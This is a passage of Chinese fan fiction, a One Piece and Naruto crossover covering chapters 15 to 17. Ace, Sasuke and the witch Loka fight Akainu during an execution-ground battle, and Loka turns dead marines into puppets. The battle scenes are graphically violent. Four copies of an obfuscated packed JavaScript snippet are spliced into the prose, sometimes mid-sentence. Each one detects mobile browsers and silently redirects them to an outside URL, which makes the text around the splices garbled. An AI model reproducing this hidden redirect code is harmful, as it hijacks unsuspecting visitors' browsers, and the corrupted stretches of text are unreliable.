说完他朝身边人急急嘱咐道,“快,关闭映像虫!” 离洛卡最近的鹤已经朝她伸出了手:“……不!” 来不及了,洛卡已经将那紫水晶插入了自己的心脏,整支水晶几乎全部没入。 气绝之前,鹤听到洛卡闷哼一声,双唇轻微开合,说话轻得像梦中的呓语:“艾斯,你可一定要来救我啊。” 几乎同时,那股明火终于蔓延至洛卡跟前,隐匿于火焰之中的艾斯自火中伸出双臂,堪堪抱住了软倒在地的洛卡。 艾斯此前并未想过,他在幻境中看到的洛卡自戕的画面,其实根本不是她的回忆,而是她即将要做出的事。这件事太过重要以至于已经在她脑中形成了具体的构想,变成记忆碎片的形式出现在了她的幻境里。而他明明已经看到过,却将其理解成她记忆中过去的一隅、负面情绪的衍生,根本没有引起足够的重视。 他顾不上周围的海军,先是伸手探了探洛卡的脉搏,又探了探洛卡的鼻息——她已经如同那时在幻境中一般,没了任何气息。 白胡子根本没料到刚才还在痛斥海军的那姑娘居然就这么自杀了:“……小小年纪,真是鲁莽!”他转头对身后众人道,“艾斯自由了,现在就是我们的机会!” “情况有些不对。”佐助抓紧了手中的那个水晶球,“这位女海军先前对我说过不止一次,要我等她的信号出现才能指引同伴上岸,那信号会被这水晶球探知到。可是眼下不管她到底想干什么,自始至终我手里这颗球没有任何反应。” “但艾斯确实如她所言被‘释放’了。”马尔科走上前来,“再不上岸,独身一人的艾斯会陷入被海军围攻的境地。” “而且。”爱德华神色有些凝重,“即使只有遗体,我们也不能把她留在这里,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052206|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得呢,佐助?” 佐助抿了抿唇:“这位洛卡少佐有一句话说得对——您是我们的主心骨,也是此战的风向标。”他抬头看向白胡子,“所以,请您按照计划,暂且不要上岸,让我们先行。” 他话音刚落,手里的水晶球忽然亮起,紫色的魔力浓雾一般从球中溢出,不多时便笼罩了整个甲板;同时上空紫气暴涨,紫色的浓云几乎盖住整个天空,天色很快阴暗下来,稍顷,密布的阴云之间缓缓显出一个巨大的五芒阵。 艾斯抬头看去,圆形的阵法由紫黑色的咒文构成,一个小五芒星被包裹在大五芒星中,双星逆向旋转,转速越来越快,有利箭一般的锐器从阵中飞出,迅速扑向大地。 处刑台周边的海军首当其冲被利箭射中,湾内顿时哀嚎一片。那紫黑色的短箭一旦沾上活人便会灵巧地钻入人的动脉,在血管中横冲直撞直至此人血管爆裂而亡——但尸体仍然是完整的,从外表看没有任何伤口。 奇怪的是,离湾内极近的白团却没有受到任何伤害,那短箭像是自动避开了白团成员似的,自然也并未伤到处刑台附近的艾斯。 艾斯记得洛卡与他提过,这禁术一共笼罩了三个地方,分别是推进城、马林梵多和玛丽乔亚。也就是说,如今玛丽乔亚也正上演着这样的惨剧? 他抱起洛卡朝岸边疾奔而去——如果把洛卡自戕的行为看成开启这大阵的钥匙,那么洛卡也有可能还没有死。如果她没有骗他,这阵里确实全是她的族人的魔力,那她的族人一定不会眼睁睁看她去死的吧? 他心中怀着一丝堪称渺茫的希望,抱起洛卡扑进身后那片烈火之中。 身后的鹤疾呼一句:“等等!” 她想追上去,但身体不知为何不听使唤——那些自天上落下的箭矢并未落到她的身上,但她却也感觉到四肢僵硬无法动弹——忽然她明白过来了,是洛卡一开始就从那大阵之中救了她,也用魔力控制住了她。 鹤只能眼睁睁地看着周身的同伴哀嚎着白白赴死,一如八年前洛卡眼睁睁地看着自己的亲族一个接一个死去却毫无办法一样。 也有咬牙坚持的海军一边躲避那见鬼的箭矢一边去追逃进火焰之中的艾斯,但在接近那片火焰之前就被一片热浪拦住了去路——若说那片火焰是艾斯使出的障眼法,包裹在火焰周围那股透明的热浪就是艾斯为他们准备的真正的陷阱。侥幸逃过箭矢的海军还没来得及接近艾斯,就被那股诡异的热浪灼伤,离得较近的手臂、胸膛和面颊迅速碳化,皮肉被烧化后簌簌脱落,数十个海军就这么被这股看不真切的热浪活活烧死,倒地后遗体断成几截,露出已然脆化变色的骨骼。 周围海军见状纷纷变色,惊惧之下有人出声警告:“快、快远离他!” 然而正在此时,热浪中心的火焰之中忽然飞出几朵刺眼的火花——周围的热浪发出喀啦喀啦的声响,被那火花点燃的高温气体砰然炸开,来不及避开爆炸的海军瞬间被一片亮白色的火焰吞没。 火势蔓延十分迅猛,被洛卡的魔力定在原地的鹤在直击那亮白色的火焰之后视野模糊泛白,竟陷入了半失明状态,彻底失去了藏身于火炎之中的艾斯与洛卡的去向。 15. 离职就像离婚,多少都得脱层皮 015 那是哥哥开发出的新招式吗? 佐助远远地看了那刺目的白光一眼,很快为了保护瞳力收回了目光——哥哥被关在牢狱之中却还是能开发出新招式,大概率和那位洛卡少佐有关。 那片白火正以一种惊人的速度烧向岸边。 白胡子站在船头,眯着眼睛看向那道已将数不清的生命化为焦炭的、白得近乎透明的火光,忽略了眼中些微的灼痛展开了双臂:“就是现在,掩护艾斯上船——不要直视艾斯的火焰!” 话音刚落,白胡子周围的空气忽然出现几道可视的裂痕,同时湾内的海水发出尖锐的鸣啸声,水域四周一息之间便升起百米高的水墙。佐助在这水墙的掩护下自船上跳入海中,在水面上站稳后一秒不停地朝岸上奔去。 他总觉得很奇怪:洛卡自戕时他清楚地看到了全程,那紫水晶的长度足以刺穿她的心脏,可从她自戕到哥哥赶去救她为止,她的伤处周围始终没有一丝血迹。 他抬头看了一眼那古怪的阵,或许……她其实没死? 正是这一抬头让他无暇再顾其他——首先是持续不断的箭矢混进海水之中,随着被拍到岸上的海浪喷溅到更多海军身上,于是那些海军一个接一个地惨叫倒地,抽搐一会儿之后就再也不动了;紧接着是这尚未落下的水墙自浪尖开始迅速结冰,冰面很快蔓延至他的脚下,正欲扑向海军的巨浪连同那些箭矢一起被冰封在了水域上方。 佐助被冰柱截停,不得不抽出身后的长刀将其斩断。 同时,那片围绕着艾斯和洛卡的火炎到底也没能冲进水域——就在离佐助不远的位置,赤犬终于追上那道火光,站在了艾斯的跟前。 不同于他人,火焰和热浪对赤犬的作用实在有限,艾斯不得不停了下来。但他停下的同时火势却又扩张了一圈,岛上到处都是刺鼻难闻的焦糊味,耳边充斥着陌生海军一浪高过一浪的哀嚎声。 “不过是为了隐藏行踪的雕虫小技!” 赤犬愤怒地捂住流血不止的右眼,“他就躲在这里!” 赤红的岩浆对准火炎中的某一点劈头砸去,就这么被看穿了位置的艾斯心中一惊,抱紧洛卡后退半步,伸出包裹着一层热浪的左臂去挡。 固体岩浆被打散,艾斯察觉赤犬略怔了一下。 但他的攻击并未因此停下:“蠢货,你是从什么时候被她蛊惑,听信了她的话?”他的声音里带着一股明显的嘲讽之意,“她在要求你从这刑场上救走她之前,一定还对你说了不少甜言蜜语哄你信她吧?就算如此也别想得逞,以为光凭白胡子海贼团就能和海军抗衡,痴人说梦!” 艾斯没空理会他,觑了个空隙在火炎包裹住赤犬周身的时机,在赤犬高声嘲讽“你不知道这样根本没有意义吗”的时候在火中窜到赤犬的左侧方,对准他那只好眼打出了一串密集的火花。 说起来,他的右眼为何受伤?箭矢应该不会造成如此严重的外伤啊? 火花在热浪中炸开,刺目的白光瞬间夺去了赤犬的视野。 赤犬原以为这火花伤不到他,然而这火花里似乎掺杂了武装色霸气,竟然真的险些溅伤他的眼睛——即使眼球没有直接受伤,他的视线也受那爆炸影响暂时陷入了视物不清的状态,眼前变得一片模糊。 这小子原来可不见得会这些见鬼的招数! 赤犬内心对洛卡的厌恶愤恨更甚。 “看你这么生气,我反而放心了。” 这个时候火中忽然传出艾斯清越的声音,“我原来很害怕洛卡真的就这么死了。可目睹了她自杀那一幕的你似乎并不认为她死了,而是一口咬定她想利用我逃出这里。无论她是骗了我还是骗了你,总归你让我知道了她还有救,真是太好了!” “……到了这一步还对洛卡深信不疑,你真是愚蠢至极。”赤犬眼中傲慢和愤怒尽显,“也罢,你马上就会因为你的愚蠢死在这里!” 虽然视物不清且眼部持续不断的刺痛让他十分烦躁,但依靠见闻色判断艾斯的位置对赤犬来说还是不难。 艾斯一边躲避他的攻击一边观察他那只一直未见愈合迹象的伤眼:“无论她骗过我什么,至少有一件事是真的——多年前她确实将一枚紫水晶埋进了你的眼睛里,且现在它被那阵唤醒了对吧?” “牙尖嘴利这一套也是她教你的吗?”赤犬回想起艾斯刚才在处刑台上对战国的嘲讽,“不过是瞎了一只眼睛,对付你绰绰有余。” “瞎了一只眼睛?”艾斯且战且退,“这么说来你已经确定你这只眼睛好不了了?” 原本艾斯的能力就被岩浆压制,在这种极端恶劣的情况下他竟还要顾着一个根本无法动弹、和尸体所差无几的东西,在赤犬看来简直是自寻死路。 赤犬并未将这点伤势放在心上:“你现在还有空关心对手?抱着一具僵尸连行动都不便,赶紧丢了她,你还能选个痛快的死法。” “闭嘴,她不是什么僵尸。”艾斯面色一沉,“说到愚蠢,在杀光她的亲族之后把她留在军中,这看起来也不像明智之举啊?”艾斯对这一点是真的感到疑惑,“你们凭什么觉得她会对海军忠心耿耿?” “你没听到她自己说的话吗?”赤犬的能力几乎将这周围烧成一片火海,身后的冰柱都隐隐有了些融化的迹象,“是她自己为了苟活,主动臣服于天龙人的。” 艾斯对这说法嗤之以鼻,对赤犬话语中的嘲讽更感到愤怒:“既然如此,她又为什么要背叛天龙人?” 持续下落的利箭到了艾斯头上便化作了温和绵密的雨,落进艾斯的火焰里消失不见了。 “我对蝼蚁的想法没有兴趣。”赤犬对这局面逐渐感到不耐烦——艾斯已经掌握了避开岩浆的方法,他周身那层诡异的热浪虽然无法对赤犬产生任何伤害,却也挡住了赤犬的绝大部分攻击。如此一来原本在赤犬认知当中能够快速解决的战斗竟然被拖成了拉锯战。 更不妙的是,他右眼上的伤似乎有恶化的趋势。 这时身后忽然传来喀啦一声,是冰柱碎裂的声响。 赤犬并未回头——是青雉在白胡子手里吃了点亏?说实话他并不很是关心这事,反正以青雉的能力,就算是对上了白胡子也不至于这么轻易就死了。 然而诡异的是,身后的冰柱在哗啦啦碎了一地之后反而安静了,一时之间赤犬只能听到艾斯的火花在热浪中不断迸裂的细碎声响。 火花迸裂产生爆炸之声,连听觉也模糊了。稍顷赤犬只觉一股热风扑来,他下意识地偏头躲避,艾斯那一拳落空,很快又抬腿踢向赤犬腰侧——虽然赤犬及时以武装色预防,艾斯的膝盖撞上他腰侧那一瞬似乎还是从身体深处传来一声沉重的、骨肉受损的闷响。 周边其他人忌讳艾斯周围这层足以将人活活烤死的热浪不敢接近,因此这里只有他和艾斯对峙。但在这热浪的中间,受了艾斯那一击后退了两步、但还是抓住了艾斯将其甩了出去的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052207|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赤犬忽然察觉到一丝不对劲——周围似乎静了静,艾斯没有继续攻过来? 他勉力睁开眼睛:原本应该在被冻结的水域之上同白团成员战斗的青雉此时正静静站在碎了一地的冰柱旁没了任何动作,落在赤犬的眼里只剩一个轮廓不清、满是血色的影子。直到刚才为止应该还是有谁站在他对面同他战斗的,但现在他既没有拦住对手的意思,也没有离开水域的迹象。 他本人就像刚才的冰柱一般被冻结在了原地。他周身有数道人影经过,谁都没有在意静立一旁的青雉。 不远处,黄猿被同佐助一道上岸的马尔科缠住,暂时无法脱身。 下一瞬,在白得几乎透明的大片火炎内、于赤犬的视野死角之中忽然生出一道蓝色的惊雷——数道雷电在赤犬察觉到异状的同时便分化成无数根密集的雷针,以极快的速度朝赤犬冲去。 ——“哥哥!” 摆脱了冰柱纠缠的佐助焦急地朝艾斯的方向飞奔而来,“你没事吧!” 艾斯既喜又忧地叫道:“佐助!”近了才发现佐助来之前先撕下了一截衣袖挡住了自己的眼睛,不由得赞赏道,“我没事!倒是你又一次这么快就看穿了我这新招式的本质啊!” 佐助察觉艾斯并未受伤,松了口气的同时注意到眼前固若金汤的热浪向他打开了一条仅容一人通过的狭窄通道——佐助不疑有他,扯下蒙眼的布条埋头冲了进去。 内部倒是不热——应该是因为艾斯为他调整了温度。他从未见过艾斯使用如此高温的火焰,真不知道哥哥在推进城那种地方究竟是如何修行的。 艾斯站在佐助右前方的位置,怀里抱着那位他只见过两次面的洛卡少佐。周围全是亮白色的刺目光芒,唯有洛卡周围像是隔了一层气墙似的,丝毫未受高温火焰的影响。 即使处在如此高温的环境之中,洛卡也是脸色惨白唇周发紫,右臂无力地垂落在身侧,分明是一副已死之人的模样。 佐助将罩在双眼之上的布条扯开一些,尝试用写轮眼看了看她体内的经脉:此世除了他之外没人使用忍术,因此能看穿查克拉流动的写轮眼很多时候反而派不上用场;但此时他却清楚地看到洛卡体内正有什么沿着骨骼血脉缓缓流动,速度渐缓、直至停止。 是她的魔力吧? 如果施术之人真的死亡,那这众人头顶上的大阵最后会如何呢? 现在不是想这些的时候,佐助心中暗道。毕竟艾斯得救是洛卡的手笔,他们确实不能放任她死在这里。 然而佐助总觉得有哪里不对——又走近了些,他骇然发现,洛卡心口的伤不知何时居然消失了。 那支理论上还留在她胸腔里的紫水晶也跟着不见了。现在她的心口处只有因为被艾斯紧紧抱着而折起的衣服褶皱。 此时雨点般的固体岩浆朝着佐助的脑袋袭来,被艾斯及时挡开了。 佐助站在艾斯身后,并未理会刚才那波攻击。 艾斯的注意力始终在热浪之外,因此他没能分神去看紧紧抱着洛卡的那条手臂。他用右臂紧抱着洛卡的腰侧,因此右手腕正紧贴着洛卡的腰际。洛卡的脑袋靠在他的颈侧,整个人呈现出一个屈膝半躺在艾斯臂弯里的姿势。 这个姿势导致艾斯身上许多要紧的血管都紧贴着洛卡。譬如眼下,浅紫色的丝线状魔力正一缕接一缕地从他颈侧、手腕、心脏处的动脉上游窜出来,沿着艾斯的筋骨肌肉自发地、有条不紊地涌向洛卡的心口。 16. 如果大动脉自己离职 016 佐助惊骇地喊了艾斯一声:“哥哥!” 艾斯像是没注意到怀中的异状似的,转过头来对佐助说道:“我来拖住他,你快带洛卡回去!” 哥哥说话时中气十足,不像被巫术戕害了的模样。佐助略松了口气,眼下的情形不容他细想:“不行,我来拖住赤犬,哥哥你快上船!” 眼下赤犬正被突然出现的雷针缠绕,一时顾不上这对兄弟的争执。 那绵密如雨的雷针仿佛长了眼睛似的,即使大部分被岩浆挡在了外围,也有一小部分钻过缝隙钻进了他的身体——赤犬及时将四肢岩浆化也没能完全抵挡这雷针密不透风的侵袭,尖锐的痛感和疲软的麻痹感仍然让他浑身一僵。 这雷针里竟也混着霸气。 当时抓捕艾斯的时候这个黑发少年也在,那时他的雷针还很不稳定,霸气也用得时有时无。艾斯被捕不过一个月不到,他这个弟弟竟然已经精进至此了? “嗤。”赤犬看上去却还是没把佐助放在眼里,“不过是个哥哥被捕时只管自己逃走的废物,过了一个月倒是敢来寻死了?” 佐助并未被他这句话激怒,只是发出一声嘲笑:“你们海军战斗全靠嘴皮子吗?” 艾斯抬头看向赤犬,眼中闪过一丝戾气:“不,那时候是我让他走的。原本就是我连累了佐助,更何况无论什么时候、任何情况,哥哥保护弟弟都是天经地义的!” 如今双方僵持,佐助没敢分神回头看,听了艾斯这话神情有一瞬的愣怔,但很快被迎战的焦灼感压了下去:“哥哥,我掩护你!” 他十指翻飞迅速结印,马林梵多上空很快阴云密布,几乎要将那紫黑色的圆形魔法阵遮得看不见了,云间忽然传出一阵陌生尖锐的鸟鸣声。佐助在这鸟鸣声中低声喝道,“千云渡!” 刺目的落雷随着箭矢一起砸向大地,速度却快出箭矢许多,几乎是刚在赤犬眼前亮起,便已在他脚边砸出一个深坑。 落雷点燃了艾斯那股一直未曾消散的热浪,爆风和烈火牵连到周围不少海军,一时间惨叫声和鸟鸣声充斥了赤犬的耳朵,喧闹间他忽然察觉到有一个人正朝自己疾奔而来——是正受佐助掩护的艾斯? 真是活腻了——赤犬抬起手来,岩浆还未落下,忽然在一片血色中看到一双赤红的眼睛。 首先,朝他奔来的并非艾斯而是他的弟弟佐助;其次,就在佐助摘下蒙在眼睛上的布条的那一瞬,笼罩在他头顶的白炎忽然消散,白炎之后有一双血红的、瞳孔不知为何呈万花筒状的眼睛。 然而炽热的岩浆已经兜头劈到了佐助身上,佐助哼都没能哼一声便在岩浆之中化成一滩烂泥,血肉横飞四肢离体,血红的躯体无力地摔到了地上。 那头艾斯发出一声绝望的悲鸣,不顾一切地奔向已然死去的佐助,洛卡从他怀中跌落,也被烈火烧透了半边身子,剩下一只眼睛死不瞑目地望着赤犬;艾斯奔到近处,也终于被他的岩浆连同佐助的尸体一起彻底埋葬了。 空中阴云尽散,紫黑色的魔法阵也逐渐隐去,虽然战场上放眼望去尽是尸山血海,但艾斯已死,白胡子海贼团的营救和洛卡的谋逆通通都没了意义。 海军的不断死亡也终于停止了。 ——“原来你就是想看到这个,真是好无聊的一番景象。” 头顶上传来一道耳熟的少年音,赤犬抬头,看到佐助手里握着一支苦无,苦无的尖端已经没入他的肩膀——剧痛传来之时赤犬猛地反应过来,那刺入肩膀的并不是什么苦无,而是一支箭矢。 已经杀害了数不清的海军,但却对海贼网开一面的、来自头顶那巫师一族禁术的箭矢。 箭矢钻入赤犬的左臂很快便开始向下游窜,赤犬根本来不及细想刚才发生了什么,他看到的佐助和艾斯接连死亡的场景似乎只是一场幻境。但眼下他无暇细思,伸出右手抓住了左臂狠狠向外一扯,竟将自己的左臂生生扯断扔了开去。 那条左臂很快被艾斯的白炎吞噬了。 鲜血喷溅了佐助一脸。 身后有热浪袭来,是艾斯的能力逼近二人,先将佐助卷入其中后火花引起的爆风又将受伤的赤犬掀出十数米之外,及时拉开了佐助和赤犬之间的距离。 所谓“我掩护你”只是兄弟二人之间的暗号,谁说了这句话反而代表谁需要对方的掩护,是迷惑敌方的一个小小诡计。 暂时安全之后佐助看了艾斯怀里的洛卡一眼,艾斯身上针对洛卡的魔力输送还在继续,未有停下的迹象:“哥哥,那个赤犬宁可不要手臂也要摆脱那箭矢,这魔法看上去实在邪门……你真的没感到身上有什么不适吗?” 持续维持白炎阻挡海军、尤其是阻挡赤犬已让艾斯额间冒出几滴冷汗,但他还是朝佐助笑了笑:“当然没事。” 佐助忽然反应过来:“哥哥,你莫非一直都知道她在……” “我一直知道她需要我救她一定是有些特别的安排。”艾斯走到佐助身边与他并肩,“看这情况我大概也能想到平时做实验的时候她就在我身上动了些手脚,但我实在没想到她会需要这么长的时间,看来今天对她来说也是个轻易挺不过去的大劫。” 佐助下意识地有些着急:“哥哥,她的术说不定对你有损伤,到了这种时候……你竟然也只为她考虑吗?” 艾斯听了这话竟笑了笑:“她已经背叛海军,如果我不救她,她一定活不下来。”过了一会儿,艾斯皱起眉头,“你不觉得奇怪吗……都这么久了,赤犬为什么不回来袭击我们?” 那头赤犬一时不防,被艾斯弹出十数米才勉强站稳——被击退时左臂上的伤口受爆炸影响,裸露在外的骨骼已然脆化。 但他不能回去继续攻击艾斯,因为到现在仍站在处刑台上的战国朝他的方向挥了三下手臂——这是命令他去攻击白胡子船队的意思。 虽然洛卡的背叛让计划出了点差错,但似乎一切还是在按原计划进行。 赤犬放弃了艾斯,转头朝高处奔去。 转身的同时,他的余光看到艾斯和佐助也放弃了战斗,正朝白胡子船队所在的方向逃窜而去。 双方擦肩而过的一瞬,艾斯忽见眼前矗立起一方高墙——那墙像是一息之间从岸边长出来似的,沿着水域密不透风地围了一圈,挡住了艾斯和佐助看向水域的视线。 佐助脚步一停:“不好,刚才我将大将青雉困在水域之内了,船上的同伴见我们迟迟不归一定会上岸来救我们,这样一来下船行至冰面的同伴们就会正面对上青雉……” 他忽然想到赤犬为什么弃战了:若是原本坚实的冰面此时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052208|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然化成了水呢? 艾斯显然也想到了这一层,白炎裹挟着火花和热浪向那道高墙攻去——但高墙纹丝不动,仅在表面留下了些许烧伤的痕迹;同时墙外忽然传来喀啦喀啦的震响,墙内都感受到了地面的摇晃和震动,是白胡子震震果实的能力——但那高墙看上去还是没有任何损坏。 这高墙不知是由什么材料建成,虽然十分坚固,但若多次攻击或许能打开一道口子。 然而已到高处的赤犬已经开始施展果实能力,密集的岩浆接连掉入结冰的水域。 地面和高墙的震动还在继续,地动山摇之中艾斯忽然听到一道耳熟的呼喊:“——艾斯,佐助,我来找你们了!” 艾斯猛然抬头:“奥兹?” 是巨人小奥兹。他的个头远超高墙,几步之间便跨到墙边,眼看要跨越高墙的时候,艾斯忽然反应过来:“佐助,你在水域上布了穿云索吗?” 穿云索是千云渡的变种,形状细长顶端尖锐,常被佐助作为长枪使用,可看情况变化长短。佐助上岸之前在水域上连接了数支穿云索,隐藏在距离水面约两公分的水下,船上其他人在没有冰面的情况下只能忍受雷电带来的酥麻和疼痛踩着穿云索上岸。 佐助点了点头。 ——怪不得刚才佐助攻击赤犬的时候还需要借助箭矢的外力,千云渡的准度也不似往常,原来是他同时维持着穿云索和千云渡,力有不逮的缘故。 奥兹的手臂抓住了墙沿,海军的枪口也对准了奥兹。 艾斯朝他大喊:“不要过来!”同时他的热浪已经对准奥兹形成一道屏障,朝奥兹射/出的子弹和炮火均被透明的热浪消融吞噬了,“奥兹,你过来会变成活靶子的!” 为了不伤到同伴的眼睛,艾斯暂时收回了白炎,仅留下一层热浪围在周边。 奥兹看准了艾斯的位置,为艾斯脱困由衷地感到开心:“艾斯,你的火焰好刺眼啊——我已经听老爹的在后面等了很久,再也等不住啦!现在已经超过和佐助君约定的时间了,我们要上岸来救你们!” 艾斯转头:“约定的时间?” 佐助抿了抿唇:“我们在决定采纳洛卡少佐的方案之后调整了战术,先由我和马尔科探路,若哥哥你真能被释放,便由我们三个开路带洛卡少佐离开这里;但若超过约定的时间,那么同伴们便会上岸救人。” ——“这可不行。” 佐助话音刚落,忽听身侧响起一道耳熟的、纤细的女声,“墙内若是出现海贼一方的巨人、这巨人还被海军所伤,我这头会不太好办。” 艾斯震惊地低头看去,这才发现魔力输送不知什么时候已经结束,洛卡已经睁开了眼睛:“洛卡,你终于醒了?!” 洛卡从他身上跳了下来,双脚踩上地面的感觉简直恍如隔世。 高墙那边,奥兹的另一只手臂高高地扬起,朝着墙内重重甩了下来——原本附在他手臂上和掌心内的船员便借力被甩到墙内,场内一时之间因为天降海贼而陷入了不小的混乱。 “原来如此,是个聪明的办法。”洛卡歪了歪头,“但你这种标志性的人物若在墙内受伤,只会让海军士气大振——蹲下,奥兹。” 洛卡此言一出,墙那头的奥兹竟真的停下了所有的动作,双手抱头蹲了下去。 17. 钱少事多离家远的话在岗位上随便生气也没关系 017 “你干了什么?”佐助微惊,“奥兹怎么会听你的话?你是什么时候对他施了术……”说到这里他恍然大悟,“是那个水晶球?” 洛卡转身,对他赞许地笑了笑:“是那个水晶球。我在水晶球上布了言灵术,只要你将它带上船,所有的人都会中招。” 艾斯看了一眼佐助又看了一眼洛卡:“你阻止奥兹是为什么?你还要做什么?” “哦对了。”洛卡抱歉地看了一眼艾斯,“我骗你来救我、骗你弟弟调整战术,之所以都能成功,是因为我对你们也用了言灵术。”她伸出手,对着艾斯的眼睛打了个响指,“现在我将这术解除。如果我所料不错,你们的船长不久之后就会将那高墙开出一个口子,大约就是你身后那堵墙向右数第三堵墙的位置,你们找准机会带上同伴快离开吧。” 艾斯执着地又问了一遍:“洛卡,你还要做什么?” 他和佐助的瞳仁之中有一阵紫色的雾气弥漫开来、很快散尽。佐助感到一阵头疼,伸手按住了自己的太阳穴——看这反应,他先前竟真的中招了! 这洛卡果然另有所图?可看她至今的行动又不见有任何要加害艾斯的意思,她到底要干什么? 洛卡后退半步,将双手探向心口。不多时,她的心口处缓缓析出一个紫色的水晶球。 艾斯有种奇异的直觉:这球的大小和重量会不会和她的心脏差不多? 紧接着那水晶球底部生出银色的鸢尾花丛状纹样,将水晶球包围其中形成底座;底座下方又生出一支约有一整条手臂长的手杖来,有生着鸢尾骨朵的枝叶游蛇一般缠绕其上,这东西原来是一根顶端镶嵌着水晶球的银质魔杖。 但艾斯记得,她先前是不用魔杖的。 洛卡捏住这支魔杖,看着混乱的处刑场发出一声意味不明的轻笑:“艾斯,你进推进城的第一天我就知道,你一定能帮我的忙。” 战场四周传来诡异的响声:先前被箭矢刺中、已然死去的人,忽然又一个接一个地站了起来。 “真是多亏了海军对我的全力支持。”洛卡转头看向场内众人,手中魔杖上的水晶球散发着幽微的光芒,“虽然这么多年我也没能研究出来盗取果实能力群体应用在海军身上的方法,但这么久的研究倒也没有白费。” 她一步一步朝处刑场中央走去,“我总算知道了如何让果实能力在人死后一段时间仍然保持在尸体之中——造出宿主还没死的假象就可以了。” 那些已死的海军晃晃悠悠地站了起来,因为四肢躯体并未受损,所以仍然可以活动;因为果实还在体内,所以可以使用果实能力攻击生前的同僚;甚至他们的五官表情都从死前那狰狞可怖的一瞬中恢复过来,变回了平和正常的模样。 “原本我族的傀儡术还能更加精湛,对能力者的操纵还能更加不加痕迹,可惜托海军的福加西亚的多种秘术都在八年前的屠岛惨剧中失佚,而我本人在傀儡术一项上向来不精,只能委屈大家看一场并不精妙的猴戏了。” 洛卡说完,又对那些“死而复生”的海军下了言灵,“既然是经我之手复生,便都听命于我。只有杀掉你生前的同僚,他们才可能再次成为你的同伴!” 箭矢还在不断下落,头顶的大阵毫无停转的迹象。 在魔力的操纵下重生的海军转而投向生前的同伴——其中数百人像是早有预谋一般在箭矢的掩护之下扑向了静待一旁的王下七武海。 尚未真正接近,空中忽然闪过一丝浅白的亮光——是倒映出远处火光的一根细线,在海军近身之前便拦腰切断了近处一批海军的躯体,被斩断的海军上半身摔到地上,仍在努力挥舞着手中的长刀向七武海爬过去。 多弗朗明哥收回细线,厌恶地转开眼神,若有所思地看向远处静立在海军身前的洛卡。 此时洛卡忽然像是想起来什么似的,对着高墙遥遥举起了魔杖,先低声念了一遍白胡子的名字,“在顶上战争期间——你的病情得以缓解;你的重伤也可痊愈。会无条件信任他人的人,不会真的被所信之人背叛;会无条件深爱他人的人,不会真的被所爱之人刺伤。” 佐助皱起眉:“你对着船长嘀咕些什么?” 洛卡并未恼他,只是对身后的艾斯解释道,“有些话我事前说了或许你们不仅不信,还会对我产生无端的猜测。所以为了报答你对我的救命之恩,我决定送你的父亲一件礼物。刚才我对他施加了祝福,也是言灵术的一种,但不会对他产生什么伤害,请放心。如此一来他就不会被身边的人刺伤了。” 艾斯震惊地听完了她的话:“你是说我们之中会有人……背叛老爹吗?” “所以我说了你们不会信的。”洛卡并未在此事上纠缠下去,“如果不放心的话,就回去看看吧。” 她话音刚落,后方忽然传出一声轰然巨响,是右后方的高墙被震出一个巨大的缺口,有老者浑厚如钟的声音自墙后传来:“奥兹!太没出息了,那小姑娘一句话竟真的叫你蹲到现在!” 洛卡脚步一顿,不可思议地问艾斯道:“我明明是在墙内对奥兹发出的命令,你父亲是怎么知道的?” “现在除了你之外没有任何人有能力让他停下来。” 艾斯对洛卡简单解释了一句,稍顷他下了一个决定,“佐助,你先回去看看老爹的情况,我还有件事要办,办完了一定回去找你们。” 佐助此时还有些震惊:若说预料到白胡子能打开缺口,这倒不令人意外;但洛卡竟能连具体是哪一堵墙被攻破都能说准,难道是同时具备预知的能力? 然而听到艾斯的话后佐助的神情略微凝滞:“……什么?”若不是艾斯眼神那样坚定,他几乎要以为艾斯又中了洛卡的言灵术,“哥哥,她之前骗了你,你还是要救她吗?” “佐助。”艾斯转头严肃地看着他,“就算她没有对我下言灵术,我也一定要救她。这和什么术都无关,是我自己的意志。” 说着他忽然抱了抱佐助,“你放心,我绝不会在此久留,把人带出来之后我就去找你。” 这时候洛卡已经走出十几米,离他们更远了。 “可是我也不想一个人离开战场。”佐助抬头看着艾斯的眼睛,“既然哥哥你坚持要救她,那我帮你。”他这么说着,从身侧的腰包里取出一支系着起爆符的苦无向空中抛出,起爆符在上空爆炸后佐助大声喊了个名字,“马尔科,船长那边有情况!” ——自从上次艾斯被赤犬抓走、而他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 